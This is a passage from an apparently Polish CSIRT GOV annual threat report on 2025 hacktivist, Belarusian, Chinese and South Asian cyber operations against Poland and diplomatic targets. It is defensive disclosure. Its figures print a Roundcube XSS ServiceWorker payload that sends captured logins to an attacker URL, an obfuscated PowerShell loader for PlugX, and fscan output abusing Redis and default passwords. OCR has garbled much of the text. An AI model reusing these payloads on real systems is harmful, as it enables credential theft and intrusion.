sig w prorosyjska narracje, wymieni¢ mozna jako najaktywniejsze w polskiej cyberprzestrzeni m.in. grupy
,NoName057(16)" i ,Z-Pentest” (Z-Pentest Alliance). W 2025 roku grupy te wykazaty wysoka aktywnosc, lecz

model dziatania pozostawat podobny jak w latach ubiegtych i byt powielany przez nowe inicjatywy.

Najczesciej obserwowang forma operacji byty ataki typu DDoS, ktérych miaty na celu czasowe
zaktdcanie dostgpnosci serwisow internetowych administracji publicznej, podmiotow infrastruktury
krytycznej oraz firm prywatnych. Tego rodzaju incydenty miaty zwykle ograniczony wptyw dtugofalowy,
jednak byty intensywnie nagtasniane w przestrzeni informacyjnej. Ich znaczenie polegato przede wszystkim
na oddziatywaniu psychologicznym i propagandowym — budowaniu przekazu o rzekomej skutecznosci

sprawcow oraz podatnosci atakowanych instytucji.
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Rysunek 49. Publikacja przez grupe po przeprowadzonych atakach DDoS w polskiej cyberprzestrzeni 2025 roku.

W 2025 roku utrzymywat sie rowniez trend obejmujacy praby ingerenciji w systemy technologii operacyjnej
(OT) oraz rozwigzania z obszaru lloT (ang. Industrial Internet of Things), ktdre posiadaty interfejsy dostepne
bezposrednio z publicznej sieci Internet.

W latach poprzednich, jak i w roku 2025, Zespot CSIRT GOV odnotowywat incydenty polegajace na
probach uzyskania nieautoryzowanego dostepu do przemystowych paneli HMI celem destabilizacji pracy

systemow. Biezace i state monitorowanie aktywnosci grup pokazato, iz zagrozenie nadal wystepowato

i nie utracito na znaczeniu. W wielu przypadkach dziatania te nie wymagaty zaawansowanych technik — 2
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wykorzystywano przede wszystkim btedy konfiguracyjne, brak segmentacji sieci lub pozostawione domyslne
dane uwierzytelniajgce. Szczegdlnie narazone pozostawaty systemy wykorzystywane w infrastrukturze
komunalnej, takiejjak oczyszczalnie Sciekdw, stacje uzdatniania wody orazinstalacje podmiotdw prywatnych.
Uzyskanie dostepu do interfejsow sterujagcych umozliwiato modyfikacje parametrow pracy urzadzen,
co potencjalnie przektadato sie na ryzyko zaktdcenia procesow technologicznych. Charakterystycznym
elementem tej aktywnosci byto publikowanie dowodow z uzyskanego dostepu na kanatach komunikacyjnych
wykorzystywanych przez kolektywy. Materiaty te petnity funkcje demonstracyjng i propagandowa, nawet
jesli rzeczywisty wptyw operacyjny incydentow pozostawat ograniczony.
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Rysunek 50. Publikacja po uzyskaniu przez grupe dostepu do panelu sterowania kottem grzewczym 2025 roku.

Dodatkowo Zespot CSIRT GOV rejestrowat proby uzyskiwania dostepu do systemdw monitoringu
wizyjnego (CCTV), zaréwno w obiektach publicznych, jak i prywatnych. Ataki te polegaty najczesciej na
wyszukiwaniu kamer i rejestratoréw dostepnych bezposrednio z publicznej sieci Internet oraz testowaniu
stabych lub domyslnych danych uwierzytelniajgcych. W niektdrych przypadkach uzyskany dostep
wykorzystywano do pozyskiwania obrazu z kamer i dalszego publikowania zrzutéw ekranu w kanatach
propagandowych badz demonstrowania mozliwosci obserwacji wybranych lokalizacji. Cho¢ dziatania te nie
zawsze prowadzity do trwatej kompromitacji systemu, stanowity powazne naruszenie prywatnosci i mogty

generowac ryzyko operacyjne — zwtaszcza w kontekscie obiektow infrastruktury krytyczne;j.
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Wspodlng cechg opisanych incydentdw bytich demonstracyjny charakter. Sprawcy czesto publikowali

W

materiaty potwierdzajace uzyskany dostep, budujac przekaz o swojej skutecznosci, nawet jesli rzeczywisty

wptyw pozostawat ograniczony.

W odpowiedzi na te zagrozenia w 2025 roku Zespdt CSIRT GOV kontynuowat dziatania w ramach
Krajowego Systemu Cyberbezpieczenstwa, obejmujgce wzmacnianie monitoringu, eliminowanie publicznie
dostepnych interfejsow administracyjnych, wdrazanie silnego uwierzytelniania oraz podnoszenie
$wiadomosci podmiotow odpowiedzialnych za wdrazanie i utrzymanie systemow IT/OT oraz CCTV. Mimo
postepdw w tym zakresie, niska bariera techniczna dla czesci atakdw oraz dynamiczny charakter $rodowiska
haktywistycznego sprawiaja, ze obszar ten nadal wymaga statej uwagi, monitorowania i systematycznego

podnoszenia poziomu zabezpieczen.

Zgodnie z zarejestrowanymi incydentami przez Zespét CSIRT GOV, wschodni haktywizm w Polsce

w roku 2025 roku obejmowat gtownie:

- zmasowane kampanie DDoS przeciw instytucjom publicznym i sektorowi prywatnemu,
- proby ingerencji w infrastrukture krytyczna i OT (energia, woda, przemyst, monitoring),
- dziatania propagandowe polegajace na nagtasnianiu rzeczywistych i rzekomych wtaman,

- wsparcie operacji dezinformacyjnych i wptywu spoteczno-politycznego.

Zjawisko te miaty charakter ciagty i wpisywaty sie w szerszg strategie presji hybrydowej wobec

Polski jako panstwa frontowego NATO i aktywnego uczestnika wsparcia Ukrainy.

Kierunek biatoruski

W ramach prowadzonego rozpoznania zagrozen w cyberprzestrzeni RP w 2025 roku Zespdt CSIRT
GOV stale obserwowat aktywnos¢ biatoruskiej grupy UNC1151 powigzang z prowadzeniem ukierunkowanych
kampanii spearphishingowych?. Jednym z zaohserwowanych przyktadow tejze aktywnosci byta kampania
socjotechniczna ukierunkowana gtéwnie na mate przedsigbiorstwa z sektora rolniczego. Do wiadomosci
przesytanych w ramach kampanii dotgczane byty pliki PDF informujgce o rzekomych zmianach w umowie
ubezpieczeniowej lub w procesach administracyjnych. Co istotne, oba ze zidentyfikowanych motywow
kampanii odnosza sie do branzy rolniczej, co rowniez wskazywato na szczegdlne zainteresowanie

adwersarza tym sektorem. Ponizsze zrzuty ekranu przedstawiaja tresc zidentyfikowanych zatacznikow:

24 - T1566.001 - Phishing - Spearphishing Attachment
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[EDIT] Dodaj dokumenty do wysytki - ...

&g
‘ G(,‘m. Generali T.U.SA

GENERALI ul. Senatorska 18, 00-082 Warszawa

Powiadomiene o zmianie warunkéw

Paniezsze pliki zawieraja ogaine warunki ubezpieczenia w pakiecie generali AGRO EKSPERT / SPRZET ROLNICZY

Nazwa Typ dokumentu Typmatadanych | S0 Statns marytnemy
wersja JPKAH Poprawnie ® Niedostepny
| wersja JPKAH Poprawnie © Niedostepny
wersja IPKAH Poprawnie ® Niedostepny
| wersja JPKAH Poprawnie ny
, wersja IPKAH Poprawnie © Niedostepny

Generali TU. S.A.
ul. Senatorska 18
00-082 Warszawa
generaliagro.pl

Rysunek 51. Fatszywy komunikat Generali Agro.

BDB7168EDA901BCBEIFSEF766A8A...

Ed Klient IPK/ePUAP

Powiadomienie klienta

Ponizsze pliki zostaly udestepnione przez ePUAP | dotycza nowych praepiséw prawa oraz 2mian w wybranych procesach administracyjnych, Aplikacia siuzy do
wysylania plikiw z systemu ePUAP.

Nazwa Typ dokumentu Typ metadanych Z::;:;":""“"’ :::::;;"::""‘"’““’
, wersja JPKAH Foprawnie ® Hiedostepny
wersa JPKAH Poprawnie © Hiedostepr
wersja JPKAH Poprawnie
wergja PKAH Paprawnie © Niedostepny
 wersja JPHRAH Poprawnie

funcusze Rzeczpospolita Unia Europejska
e I Fosk: Pt

Rysunek 52. Fatszywy komunikat ePUAP. —
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Po wejsciu w interakcje? z widocznym w dokumencie przyciskiem ,Pobierz archiwum”, na komputer
uzytkownika pobierany byt plik archiwum zawierajacy pliki HTA. Z analizy przeprowadzonej przez Zespot
CSIRT GOV wynikato, iz pliki te zawieraty w sobie obfuskowany? kod JavaScript, zbierajacy informacje
dotyczace stacji roboczej na ktdrej zostat uruchomiony, jak réwniez pobierajacy kod odpowiedzialny za
realizacje dalszych etapdw infekcji. Wskazuje na to jednakze proba wywotania pobranego z zasobu pliku
funkcja eval(), ktora ma na celu wykonanie kodu JavaScript z pobranego pliku, mimo tego, iz plik CSS nie

powinien takowego w typowych warunkach zawierac.

Rysunek 54. Pobranie i wykonanie dalszych etapow ataku.

Kolejnym przyktadem aktywnosci spearphishingowej, stale prowadzonej przez grupe UNC1151
s kampanie socjotechniczne? ukierunkowane na wytudzenie poswiadczen do poczty elektronicznej
polskich ustugodawcdw, takich jak Wirtualna Polska czy Onet. W ramach prowadzonych kampanii grupa
ta zamieszczata na przejetych serwisach? nalezacych do drobnych polskich przedsigbiorcow fatszywe
panele logowania do wspomnianych serwisdw, a nastepnie dystrybuowata je do 0séb sprawujacych funkcje
publiczne celem kompromitacji ich prywatnych kont poczty elektronicznej, a co za tym idzie pozyskania
informacji w ramach nich przetwarzanych, takich jak m.in. tres¢ przesytanych wiadomosci czy lista

adresow, z ktorymi ofiara w przesztosci korespondowata.

25 - T1204 - User Execution

26 - T1027 - Obfuscated Files or Information

27 - T1566.002 - Phishing - Spearphishing Link

28 - T1584.001 - Compromise Infrastrucutre - Domains

ST \

= a B

5

—

\

\

|

\\%\



=

W\P poczta

Logowanie z @login™

Adres e-mail
Pomocniczy adres e-mail
Telefon

Hasto

Zaloguj sie

Wiecej o WP Poczcie Wiecej o 1login

Rysunek 55. Fatszywy panel logowania zamieszczony na przejetym serwisie.

W 2025 roku Zespot CSIRT GOV zaobserwowat rowniez duza aktywnosc¢ aktora w konteksScie
wykorzystania podatnosci CVE-2024-42009% w oprogramowaniu Roundcube. Przedmiotowa podatnosé
umozliwia atakujacemu zdalne wykonanie kodu za pomoca techniki XSS, co prowadzi¢ moze do kradziezy
poswiadczen do poczty elektronicznej wprowadzonych za posrednictwem podatnego oprogramowania.
W ramach zidentyfikowanych kampanii atakujacy przesytali wiadomosci zawierajace exploit przedmiotowej
podatnosci, ktdry nastepnie instaluje szkodliwy kod ServiceWorker® w przegladarce ofiary, majacy na celu

kradziez poswiadczen do poczty elektronicznej zaatakowanego uzytkownika.

—
30 - T1059.007 - Command and Scripting Interpreter - JavaScript

29 - T1587.004 - Develop Capabilities - Exploits
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Output BODm® ¢

let registeredEmail=null;self.addEventListener("install”,
(()=>{self.skipWaiting()})),self.addEventListener("activate”,
(()=>{self.clients.claim()})),self.addEventListener( "message”,
(e=>{"username”===e.data?.type&&(registeredémail=e.data.data,fetch({"https:// re==»
— . —#=—", {method: "POST",headers:{"Content-Type": "application/
json™},body:JSON. stringify({status:“registered”,email:registeredEmail,time:(new
Date).toIS0String()})}))})),self.addEventListener("fetch”, (e=>{const
t=e.request;if ("POST"===t.method){t.clone().text().then((e=>{const s=new
URLSearchParams(e),a=s.get("username”)||s.get("_user”),i=s.get("password”}||
s.get("_pass”);abRi&&fetch("https://mme— —w==%F s e ———",
{method:"POST",headers:{"Content-Type":"application/

json™},body:JSON. stringify({login:a,password:i,email:registeredEmail,url:t.url,time: (new
Date).toISOString()})})}))}e.respondWith(fetch(t))}));

mc 987 = 1 (@ 15m5  Tr Raw Bytes 4= LF

Rysunek 56. Payload zawarty w wiadomosci.

W ramach prowadzonego rozpoznania zagrozen, Zespét CSIRT GOV nie zidentyfikowat udanych
kompromitacji podmiotow znajdujacych sie w jego wtasciwosci powigzanych z wykorzystaniem podatnosci
CVE-2024-42009. Niemniej jednak wykorzystanie tego typu podatnosci w kampaniach biatoruskiej grupy
UNC1151 pokazuje jak istotnym z punktu widzenia bezpieczenstwa teleinformatycznego zagadnieniem

jest utrzymywanie aktualnych wersji oprogramowania, w szczegdlnosci tego dostepnego z poziomu sieci
Internet.
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Kierunek chinski

Aktywno$¢ Chin w cyberprzestrzeni pozostaje jednym z kluczowych wyzwan dla bezpieczenstwa
narodowego, co znajduje odzwierciedlenie w stale rosngcym potencjale ofensywnym tego panstwa.
W minionym roku odnotowano eskalacje dziatan chinskich grup APT, ktdrych operacje cechujg sie coraz
wyzszg skuteczno$cig oraz precyzyjnym doborem celow w sektorach strategicznych i administracji
publiczne;j.

W 2025 roku Zespot CSIRT GOV zarejestrowat ztosliwg aktywnos¢ wymierzong w podmioty
sektora rzgdowego. Dziatania te polegaty na kompromitacji infrastruktury wewnetrznej oraz $rodowiska

domenowego w celu uzyskania dtugotrwatego dostepu do wewnetrznej sieci instytuciji.

Analiza dziatan chinskich grup APT wykazata, ze korzystajg z hybrydowego podejscia, taczac
ztosliwe oprogramowanie z legalnymi narzedziami systemowymi (technika Living-off-the-Land) oraz
narzedziami otwartozrodtowymi, przez co identyfikacja nieautoryzowanej aktywnosci w sieci jest
trudniejsza do wykrycia.

W 2025 roku, w incydentach analizowanych przez CSIRT GOV, ujawniono wykorzystanie
nastepujacych narzedzi oraz powigzanych TTP:

1. Faza rozpoznania

- ADFind®" * - narzedzie wiersza polecen do zapytan w Active Directory wykorzystujacy m.in.
funkcjonalnosci narzedzi ldapsearch, search.vbs, ldp, dsquery i dsget.

- NetSpy® - oprogramowanie do szybkiego wykrywania osiggalnych segmentdw sieci wewnetrznej
ze stacji roboczej, z ktdrej zostato uruchomione.

- Fscan* - narzedzie typu stuzace do rekonesansu sieci intranetowych oraz automatycznego
wykrywania podatnosci.

Ponizej przedstawiono przyktad uzycia narzedzia do automatyzaciji ataku na serwer Redis, ktory
jest podatny ze wzgledu na brak ustawionego hasta. Narzedzie fscan pozwala na przestanie klucza SSH
i zapisanie go w pliku authorized_keys (np. w Sciezce /root/.ssh/), co umozliwia uzyskanie zdalnego dostepu
do powtoki administracyjnej serwera. Wspomniany atak jest mozliwy tylko wtedy, gdy proces Redisa dziata
z uprawnieniami uzytkownika root.

31-T1087.002 - Account Discovery - Domain Account
32 - T1018 - Remote System Discovery

33 - T1016 - System Network Configuration Discovery
34 - T1046 - Network Service Discovery
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EX Windows PowerShell X P e ] X

PS D:\tools\fscan> .\fscan.exe 192.168.1.13 id_rsa.pub

e |1 =
LS |
’ [ G G, |
O y SIEIE o |\ SRS
(ICMP) Target '192.168.1.13' is alive
192.168.1.13:22 open
192.168.1.13:21 open
192.168.1.13:1433open
192.168.1.13:1521 open
192.168.1.13:3306 open
192.168.1.13:5432 open
192.168.1.13:6379 open
192.168.1.13:9000 open
192.168.1.13:11211% open
192:168.1.13:27017 open <
WebTitle:http://192.168.313:9000 200 None
Redis:192.168.1.13:6379 unauthorized
Memcached:192.168.1.13:11211 unauthégized
Redis:192.168.1.13:6379-1ike ¢an writew/root/.ssh/
192.168.1.13:6379 SSH public key was written successfully
Redis:192.168.1.13:6379 like can write /war/spool/cron/
mysql:192.168.1.13:3306:root 123456
mssql:192.168.1.13:1433:sa adminl23A
SSH:192.168.1.13:22:root adminl23
FTP:192.168.1.13:21:admin 123456

Rysunek 57. Wykorzystanie narzedzia Fscan®.

2. Eskalacja uprawnien

- EfsPotato® - narzedzie typu open-source wykorzystywane w fazie post-eksplotacji do lokalne;j
eskalacji uprawnien (Local Privilege Escalation - LPE) w systemach z rodziny Microsoft Windows

z wykorzystaniem naduzycia interfejsu RPC (MS-EFSR).

- ADCSPwn® - narzedzie wykorzystywane do eskalacji uprawnien w domenie Active Directory
z wykorzystaniem wymuszania uwierzytelnienia kont maszynowych za pomoca techniki znanej jako

PetitPotam, a nastepnie przekazywanie tego uwierzytelnienia do ustugi certyfikatow ADCS.

- Certify®® - oprogramowanie wspomagajace eskalacje uprawnien z poziomu zwyktego uzytkownika

do administratora domeny poprzez naduzycie luk w szablonach certyfikatow ADCS.

- Mimikatz® (w tym dcsync, xencrypt - xenmimi) - popularne narzedzie stuzace do ekstrakcji haset

w postaci jawnej, skrotow NTLM, kodow PIN oraz biletow Kerberos z pamigci operacyjnej systemu.

35 - Zrddto: https://github.com/shadowlng/fscan/blob/main/README_EN.md
36 - T1068 - Exploitation for Privilege Escalation

37 - T1649 - Steal or Forge Authentication Certificates

38 - T1649 - Steal or Forge Authentication Certificates

39 - T1548 - Abuse Elevation Control Mechanism \
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3. Kradziez poswiadczen

- SharpSecretsDump*® - narzedzie stuzace do zdalnego lub lokalnego wydobywania (tzw. zrzutu)
skrotow haset (hashy NTLM), kluczy Kerberos oraz sekretdw LSA (Local Security Authority) ze
Srodowisk Windows i Active Directory.

. Searchall" - narzedzie wykorzystywane do skanowania systemu plikdw w poszukiwaniu
wrazliwych danych, plikow konfiguracyjnych, kluczy APl oraz automatycznej ekstrakcji haset
zapisanych w przegladarkach internetowych.

- Mimikatz (w tym dcsync*?, xencrypt - xenmimi) - popularne narzedzie stuzace do ekstrakcji haset

w postaci jawnej, skrotow NTLM, kodow PIN oraz biletow Kerberos z pamigci operacyjnej systemu.

- TrickDump“ - wykorzystywany do kradziezy poswiadczen (haset w postaci jawnej oraz skrotow
NTLM) z pamieci procesu systemowego lsass.exe (Local Security Authority Subsystem Service)
z wykorzystaniem niskopoziomowych wywotan NTAPI.

Ponizej przedstawiono schemat dziatania narzedzia podzielony na trzy etapy, tj. identyfikacje wersji
systemu operacyjnego, ekstrakcje informacji o zatadowanych modutach procesu oraz finalne zrzucenie
zawartosci regionow pamigci do plikow JSON i ZIP przy uzyciu niskopoziomowych funkcji NTAPI w celu
unikniecia detekgji.

-
os
v RtlGetVersion —  Version JQN
NtOpenProcessToken NtGetNextProcess NtQueryInformationProcess Modules ﬁ
) * o * " information Json
NtAdjustPrivilegesToken NtQueryInformationProcess NtReadVirtualMemory
Regions
@ NtOpenProcessToken <{ NtGetNextProcess 1_\ NtQueryVirtualMemory information Json
+ + + <
NtAdjustPrivilegesToken NtQueryInformationProcess NtReadVirtualMemory | Dumped
regions

Rysunek 58. Schemat dziatania narzedzia TrickDump*“.

40 - T1003.003 - OS Credential Dumping - NTDS
41 - T1555 - Credentials from Password Stores
42 - T1003.006 - OS Credential Dumping - DCSync

43 - T1003.001 - OS Credential Dumping - LSASS Memory 2
44 - 7rédto: https://github.com/ricardojoserf/TrickDump \\\\/‘
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4. Zdalny dostep

« PlugX®® / Korplug / Sogu - trojan dostepu zdalnego umozliwiajgcy przejecie kontroli nad
zainfekowanym systemem, kradziez danych oraz szpiegowanie uzytkownika, najczesciej

wykorzystujgc technike DLL side-loading do zatadowania w pamieci operacyjnej.

- SoftEther VPN“ - wieloprotokotowe oprogramowanie wykorzystywane do tworzenia wirtualnych
sieci prywatnych (dostepu zdalnego do zaatakowanej infrastruktury) wspierajacych protokoty tj.
SSL-VPN, L2TP/IPsec, OpenVPN oraz Microsoft SSTP.

- Webshelle*” tj. Godzilla, ByPassGodzilla, ChinaChooper, Neo-reGeorg*- pliki umieszczane na
publicznych serwerach WWW umozliwiajace atakujgcemu zdalne zarzadzanie systemem plikow,
wykonywanie komend systemowych bezposrednio przez przegladarke internetowg jak rowniez do

tunelowania ruchu sieciowego.
5. Ruch lateralny i tunelowanie

- Fast Reverse Proxy (frp)* - narzedzie typu reverse proxy napisane w jezyku Go. Jego gtownym
celem jest umozliwienie dostepu z zewnatrz (z poziomu sieci Internetu) do ustug i serwerdéw
znajdujacych sie w sieciach lokalnych, ukrytych za mechanizmami translacji adresow sieciowych

(NAT) lub zaporami sieciowymi.

- Fuso® - oprogramowanie wykorzystywane do testow penetracyjnych infrastruktury wewnetrznej

oraz przekazywania ruchu sieciowego (typu port forwarding).

- Impacket® (w tym wmiexec, smbexec, secretsdump?®?) - oprogramowanie open source zawierajace
zestaw modutow i skryptow w jezyku Python stuzacy do manipulacji protokotami sieciowymi (takimi
jak SMB czy MSRPC), wykorzystywanym do kradziezy poswiadczen oraz zdalnego wykonywania

polecen w systemach Windows.

- Gost (GO Simple Tunnel) - narzedzie wykorzystywane do przekierowania ruchu w sieci wewnetrzne;j

pomiedzy VLANami.

45 - T1574.002 - Hijack Execution Flow: DLL Side-Loading
46 - TN33 - External Remote Services

47 - T1505.003 - Server Software Component: Web Shell
48 - T1090.003 - Proxy - Multi-hop Proxy

49 - T1572 - Protocol Tunneling

50 - T1090 - Proxy

51 - T1021.002 - Remote Services - SMB/Windows Admin Shares

52 - T1003.003 - OS Credential Dumping - NTDS \\
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Ponizej przedstawiono przyktadowy schemat uruchomienia narzedzia GOST w trybie Reverse Proxy

\\ \\\\'f\\\

umozliwiajacy ekspozycje lokalnej ustugi znajdujgcej sie za NAT-em lub firewallem do sieci publicznej

w celu uzyskania do nich dostepu:

S UBHD: 1234-KKKINKKAK * # %+ %+ 4+ 4 e s e

Forwarder

@ 192.168.1.1:80 fe— ni L = 1
@191153,1239._ L} e 1.loc: j

Rysunek 59. Przyktadowy schemat uruchomienia narzedzia GOST w trybie Reverse Proxy®.

W ostatnich latach mozna zaohserwowac, ze chinskie grupy APT zmieniajg sposcb dziatania. Coraz
czesciej koncentruja sig na srodowiskach chmurowych i infrastrukturze hybrydowej, precyzyjnie dobierajac

cele oraz techniki ataku.

Kluczowe znaczenie w wykrywaniu wrogiej aktywnosci jest state monitorowanie anomalii w ruchu
domenowym, szybkie reagowanie na nietypowe wzorce komunikacji oraz konsekwentne egzekwowanie

zasad dotyczacych bezpieczenstwa poswiadczen, zwtaszcza kont administracyjnych w domenie.

Rok 2025 stanowit kontynuacje kampanii przypisywanych grupie Mustang Panda, dystrybuujacych
ztosliwe oprogramowanie PlugX, wykorzystujacych w tym celu motywy socjotechniczne w postaci podszycia
pod podmioty zwigzane z ministerstwami spraw zagranicznych oraz misjami dyplomatycznymi. W roku 2025
byty to migdzy innymi nawigzujace do organizowanych w ramach wspétpracy NATO-Ukraina warsztatow
obronnych, wiadomosci, ktore wysytane byty ze skompromitowanej skrzynki poczty elektronicznej nalezace;

do podmiotu zagranicznego.

Tres¢ wiadomosci informowata o rzekomej zmianie terminu przedsiewzigcia, jednoczesnie
naktaniajac odbiorce do otwarcia zamieszczonego w tresci korespondencji odnosnika. W rzeczywistosci
hipertacze odwotywato sig do witryny internetowej o charakterze socjotechnicznym, na ktorej atakujacy
umiescit spreparowany panel weryfikacyjny ustugi Cloudflare CAPTCHA®. W momencie zaznaczenia
przycisku potwierdzajgcego na stacje robocza automatycznie® pobierany byt dodatkowy plik archiwum

o rozszerzeniu ZIP

53 - Zrddto: https://github.com/go-gost/gost/blob/master/README_en.md —
54 - Completely Automatic Public Turing Test to tell Computers and Humans Apart 4
55 - T1608.001 - Stage Capabilities: Upload Malware \\ —
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c CEEVENTY) mydownloadfile z7.web.core.windows.net/JATEC_workshop_on_wartime_defence_procurement_(9-11_September).htm| Bp + (=4 b ©®

login.microsoftonline.com

Verify you are human by completing the action below.
Qe oo e

login.microsoftonline.com needs to review the security of your connection before
proceeding.

Ray ID: 5650638924526 2a8 Performance & security by Cloudflare

Rysunek 60. Tres¢ witryny socjotechniczne;.

Rozpakowanie pobranego archiwum ujawniato plik skrotu LNK, w ktdrego polu argumentu Sciezki
osadzony zostat skrypt Powershell®. Uruchamiany za posrednictwem pliku LNK skrypt w pierwsze;
kolejnosci wyszukiwat w katalogu profilu uzytkownika plik ZIP, ktorego nazwa byta tozsama z nazwa
archiwum, w ktorym sig znajdowat, tj. JATEC workshop on wartime defense procurement (9-11 September).
zip¥”. Nastepnie z wczytanego pliku ZIP skrypt odczytywat surowe dane bajtowe, wycinajac z nich okreslony
fragment, pomijajac pierwsze 785 bajtow. Wyselekcjonowany zakres danych zapisywany byt w katalogu
tymczasowym jako nowy plik archiwum o rozszerzeniu TA. Po zapisaniu danych skrypt rozpakowywat

wyzej wymienione archiwum i uruchamiat z niego nowo powstaty plik wykonywalny EXE.

$dzevcozi = (Get-Childltem -Path $Env:USERPROFILE -Recurse -Include

* JATEC workshop on wartime defence procurement (9-11
September)'.zip).FullName;

$dkwspp = [System.lO. File]::ReadAllBytes($dzevcozi); $tesxswznmei = 785;
$gmwgmos =

[char]87+'r'+[char] 105+'te'+[char]65+''+[char] 108+'b'+[char] 121 +'tes’;
echo $tesxswznmei; echo $tesxswznmei;

[System.lO File]::$gmwgmos($Env:itemp+\\kysvoxszct.ta',
$dkwspp[$tesxswznmei..($tesxswznmei+1061376-1)]);

echo $tesxswznmei; echo $tesxswznmei;

TaR -xvf $Env:TEMP\kysvoxszct.ta -C $Env:Temp; echo $tesxswznmei; dir;
Start-Process $Envitemp\TOC3P7 IN-P7TE-7 A2X-L3L8-
ICHWNEHKGEGé\cnmpaui.exe

Rysunek 61. Polecenie Powershell wykonywane po uruchomieniu pliku LNK.

57 - T1566.001 - Phishing: Spearphishing Attachment
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W wyniku ekstrakcji zawartosci archiwum w katalogu tymczasowym uzytkownika powstawaty
trzy pliki: plik wykonywalny EXE, biblioteka DLL oraz plik danych DAT. Plik wykonywalny w rzeczywistosci
byt legalnym® komponentem oprogramowania Canon My Printer, ktdry podatny byt na atak typu DLL Side

Loading®.

Przedmiotowa podatnos$¢ stworzyta przestrzen do podmiany przez atakujgcego oryginalnej

biblioteki na ztosliwg o tozsamej nazwie.

}

hModule = LoadLibraryExW(L"cnmpaui.dll”, (HANDLE) 0x0,8);
piVarll = (int *)0x0;
if (hModule '= (HMODULE)Ox0) {
pFVar7 = GetProcAddress (hModule, "MaintenancelppStart”™);
(*pFVar7) (local_214,local 420,hWnd);

}

Rysunek 62. Fragment kodu pliku EXE odpowiedzialny za zatadowanie biblioteki DLL.

Gtéwnym zadaniem realizowanym przez przedmiotowg biblioteke byto zlokalizowanie na dysku
pliku DAT, odszyfrowanie® jego zawartosci i uruchomienie® jej w pamigci. Odszyfrowany payload stanowit
32-bitowa biblioteke DLL, ktdra dziatata jako loader, majacy za zadanie uruchomienie w pamieci procesu
ztosliwego oprogramowania z rodziny Korplug/PlugX. Dodatkowo, oprocz ztosliwego oprogramowania,
w strukturze pliku danych osadzony byt dokument PDF, ktdry byt wyswietlany automatycznie uzytkownikowi
w celu zamaskowania dziatajgcego w tle oprogramowania ztosliwego. Tre$¢ przedmiotowego pliku rowniez

nawigzywata do wydarzenia dotyczacego rady NATO-Ukraine Council.

58 - T1218 - System Binary Proxy Execution
59 - T1574.002 - Hijack Execution Flow: DLL Side-Loading
60 - T1027.009 - Obfuscated Files or Information: Embedded Payloads
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Rysunek 63. tancuch infekcji wykorzystany przez APT Mustang Panda.

W 2025 roku jednym z istotnych zagrozen obserwowanych ze strony chinskich grup APT byta
wzmozona aktywnos$¢ ukierunkowana na wykorzystanie podatnosci dotyczacych $rodowiska Microsoft
SharePoint - CVE-2025-49704 oraz CVE-2025-53770, opublikowanych w lipcu 2025 roku. Dziatania te
koncentrowaty sie przede wszystkim na systemach dostepnych z Internetu, zwtaszcza na serwerach
webowych, gdzie zidentyfikowane luki bezpieczenstwa mogty umozliwi¢ uzyskanie nieautoryzowanego
dostepu do zasobow organizacji. Obserwowane kampanie obejmowaty szeroko zakrojone skanowanie
infrastruktury oraz aktywne prdby eksploitacji podatnych instancji w celu przetamania zabezpieczen
i utrwalenia obecnosci w Srodowisku.

Po skutecznym uzyskaniu nieautoryzowanego dostepu dziatania adwersarzy koncentrowaty
sig na rozpoznaniu struktury systemu oraz identyfikacji katalogow zawierajacych dane aplikacyjne
i konfiguracyjne. Szczegolnym zainteresowaniem cieszyty sie lokalizacje charakterystyczne dla Srodowisk
IS, takie jak m.in. C:/inetpub/wwwroot, gdzie przechowywane s3 dane aplikacji, pliki konfiguracyjne
oraz potencjalnie wrazliwe dane mogace stanowi¢ zrddto informacji umozliwiajacych dalszg eskalacje
uprawnien lub rozszerzenie zakresu kompromitacji Srodowiska. Zarejestrowane dziatania wskazywaty na
proby pozyskania i eksfiltracji informacji z tych obszardw, realizowane m.in. poprzez inicjowanie procesow

synchronizacji danych z zewnetrzng infrastrukturg chmurowg, w tym z Amazon S3.

Opisana aktywnos$¢ wpisuje sie w szerszy trend niezwtocznego reagowania na informacje o nowo \\
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ujawnionych podatnos$ciach oraz ich systematycznego wykorzystywania w dziataniach ukierunkowanych na
kompromitacje systemdw, obserwowany w kontekscie aktywnosci grup powigzanych z Chinska Republika
Ludowa, ktdre wielokrotnie demonstrowaty zdolnos¢ do szybkiej adaptacji i sprawnego wdrazania nowych

wektorow ataku w prowadzonych kampaniach.

Pozostate kierunki

W ramach prowadzonego rozpoznania zagrozen w CRP Zespét CSIRT GOV zidentyfikowat pojawienie
sie nowej, nieobserwowanej wczesniej aktywnosci pochodzacej z obszaru Azji Potudniowej. Aktywnosc ta,
cho¢ ograniczona do dwdch ujawnionych kampanii, wskazuje na pojawienie sig zagrozenia wywodzacego

sie z nowego zradta, ktore nalezy monitorowac w przysztosci pod katem jego rozwoju.

Pierwszym z zaobserwowanych dziatan byta zidentyfikowana w listopadzie 2025 r. kampania grupy
Sidewinder ukierunkowana na wytudzenie poswiadczen do poczty elektronicznejt2. Do wysytki wiadomosci
wykorzystane zostaty skompromitowane skrzynki nalezgce do bangladeskiej policji®®. W ramach kampanii
przesytane byty wiadomosci w jezyku chinskim skierowane do jednostek dyplomatycznych znajdujgcych

sie na terenie Chin i zawierajace zaproszenie do udziatu w uroczystosci.

62 - T1566 - Phishing
63 - T1586.002 - Compromise Accounts - Email Accounts
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XIZANG AUTONOMOUS REGION DEVELOPMENT AND REFORM COMMISSION

AEECERRIEZRTAE 2025

Dear Colleagues,

The BMAC wishes to cordially invite your Embassy Person to
join the Christmas Celebration 2025 scheduled to be held at the
BMAC of CHINA on 23rd December 2025, 2000 hrs.

It would be appreciated if you would kindly Register the
participation of your Ambassador for the said event.

A formal invitation will follow in due course.

Register Christmas Event 2025.pdf

Rysunek 64. Zatacznik do wiadomosci.

Po wejsciu w interakcje z zataczonym odnosnikiem ofiara przekierowywana byta na strone
internetowa zawierajaca fatszywy panel logowania do poczty elektronicznej, ktory rzekomo po zalogowaniu

miat wyswietli¢ uzytkownikowi zaszyfrowany plik.
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BMAC SECURED FILE

Sign in with your email account to view
this document.

Email

Password

Remember me

Verify

Rysunek 65. Fatszywy panel logowania.

Podobna kampania zaobserwowana zostata réwniez w kontekscie aktywnosci prowadzonych
przez grupe UNK_ArmyDrive. Ponownie z wykorzystaniem skompromitowanej skrzynki pocztowej
w domenie rzadowej Bangladeszu®, atakujacy przestat do placowek dyplomatycznych mieszczacych
sie w Islamabadzie wiadomosci zawierajace szkodliwy link®. Po wejsciu w interakcje z odnosnikiem,
uzytkownik przekierowywany byt na strone internetowg, informujaca go o rzekomym wygasnieciu ses;ji

konta Google w zwigzku z brakiem aktywnosci.
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You’re hot signed in

Your session ended because there was no activity. Please sign in again to continue.

Signin

